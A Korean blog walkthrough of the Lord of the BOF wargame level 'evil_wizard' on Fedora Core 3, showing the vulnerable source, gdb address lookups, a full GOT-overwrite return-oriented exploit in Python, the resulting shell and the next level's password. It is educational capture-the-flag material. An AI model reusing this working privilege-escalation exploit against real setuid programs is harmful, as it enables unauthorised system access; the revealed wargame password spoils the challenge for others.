2013.04.07 21:06

keyword : load of bof , LOB ,Fedora,  BOF, GOT, overwrite, (hell_fire -> evil_wizard)


[hell_fire@Fedora_1stFloor ~]$ cat evil_wizard.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3   

- hint : GOT overwriting    //GOT overwrite 를 하라는 힌트가 있음

*/


// magic potion for you

void pop_pop_ret(void) //좀있다 사용될 PPR 코드를 만들어 둬서 찾기 쉽게 만들어줌. 

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);   // EBP 를 저장시킴

 

// overflow!!

strcpy(buffer, argv[1]);   //OVER FLOW 발생지점 


// restore sfp 

memcpy(buffer+264, saved_sfp, 4); //EBP를 복원시켜서 오버플로우로 EBP바뀐것이 소용없도록함


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); 


printf("%s\n", buffer);

}



GOT overwrite는 FSB(Formet string bug)에서 자주 사용되는 공격 기법이다. 

PLT 와 GOT 에 대한건  system 게시판 GOT PLT 심층 분석을 통해 보고 여기서는 풀이에 힘을 쏟겠다. 


이전 문제와 같이 268 바이트면 EBP까지 덮어 쓰고 RET을 덮기 시작한다.


공격의 설명은 다음과 같다.

memcpy GOT 주소를 execve 실 주소로 덮어 쓰는 것이다. 

그렇게 되면 memcpy 를 실행하는 대신에 execve 를 실행하게 될 것이다.



[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 


[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 ]




필요한 함수들의 주소

(gdb)p execve

{<text variable, no debug info>} 0x7a5490 <execve>


(gdb) info func

0x0804854c  pop_pop_ret


[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep strcpy

08048494 <strcpy@plt>:

 8048624: e8 6b fe ff ff       call   8048494 <strcpy@plt>

(gdb) x/10xi 0x8048434

0x8048434 <_init+104>: jmp    *0x8049888

0x804843a <_init+110>: push   $0x20

(gdb) x/10xi 0x8049888   //memcpy GOT 주소값 

0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: rclb   $0x60,0x0(%eax,%edi,2)

0x804988d <_GLOBAL_OFFSET_TABLE_+33>: cwtl   

(gdb) x/10xi *0x8049888  //memcpy GOT 주소값의 값들을 확인해보면 memcpy가 들어있음

0x7854c0 <memcpy>: mov    0xc(%esp),%ecx

0x7854c4 <memcpy+4>: mov    %edi,%eax

0x7854c6 <memcpy+6>: mov    0x4(%esp),%edi


[ 정리 ]


 PPR  address : 0x0804854c

 strcpy@PLT    : 0x8048494

 memcpy@GOT 0x8049888

 execve          : 0x007a5490

                              0x90  : 0x8049450

0x54  : 0x80487b4

0x7a  : 0x8048898

0x00  : 0x8048798


main+240         : 0x08048644



- main+240 주소값 구하기 

(gdb)disass main

0x08048644 <main+240>: call   0x8048434 <_init+104>

   



- execve 주소값을 가지고 있는 주소값 구하기 (고정된 주소는 다 뒤져야함)

0x80487b0: 0x0000000d 0x08048754 0x00000004 0x08048148

(gdb) x/x 0x080487b0+4

0x80487b4: 0x08048754


0x8048790: 0x00000000 0xffffffff 0x00000000 0x00000000

(gdb) x/x 0x8048790+8

0x8048798: 0x00000000


0x804888c: 0x0804844a 0x0804845a 0x0804846a 0x0804847a

(gdb) x/x 0x804888c+12

0x8048898: 0x0804847a


0x804944c: 0xe9000000 0xffffff90 0x989025ff 0x30680804

(gdb) x/x 0x804944c+4

0x8049450: 0xffffff90





[ 공격구문 ]



import os

def main():


        x= "x"*268+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+\

                "\x44\x86\x04\x08"+"\xc6\x84\x04\x08"


                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+0 + execve_1st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+1 + execve_2st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+2 + execve_3st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+3 + execve_4st_addr <- addr

                 #main+240 (EBP)  + somewhere static address


        TARGET = "./evil_wizard"

        CMD = TARGET + " " + x

        os.system(CMD)


if __name__ == '__main__' :

        main()


   

[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'`//고정된 주소 값 

.

.

.[007037a2] execve("??U???, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory) //특정값을 실행

[00784fd7] --- SIGSEGV (Segmentation fault) @ 0 (0) ---

upeek: ptrace(PTRACE_PEEKUSER,4524,48,0): No such process

[????????] +++ killed by SIGSEGV +++

[hell_fire@Fedora_1stFloor ~]$ 


[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'` 2> error.txt //고정된 주소 값

 

[hell_fire@Fedora_1stFloor ~]$xxd error.txt

0000970: 3761 325d 2065 7865 6376 6528 2290 9055  7a2] execve("..U

0000980: 89e5 53e8 222c 205b 305d 2c20 5b2f 2a20  ..S.", [0], [/* 


위에 검은색 부분을 실행시킴 


[hell_fire@Fedora_1stFloor ~]$ make system

cc     system.c   -o system   // setreuid 와 system("/bin/sh") 프로그램


[hell_fire@Fedora_1stFloor ~]$ ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[007037a2] execve("??U???, [0], [/* 0 vars */]) = 0


[hell_fire@Fedora_1stFloor ~]$  ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[hell_fire@Fedora_1stFloor ~]$ python exploit.py 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(???O???P???O???큸??O???????O?????D??

sh-3.00$ id

uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t

sh-3.00$ 

sh-3.00$ my-pass

euid = 504

get down like that

sh-3.00$ 


Posted by k1rha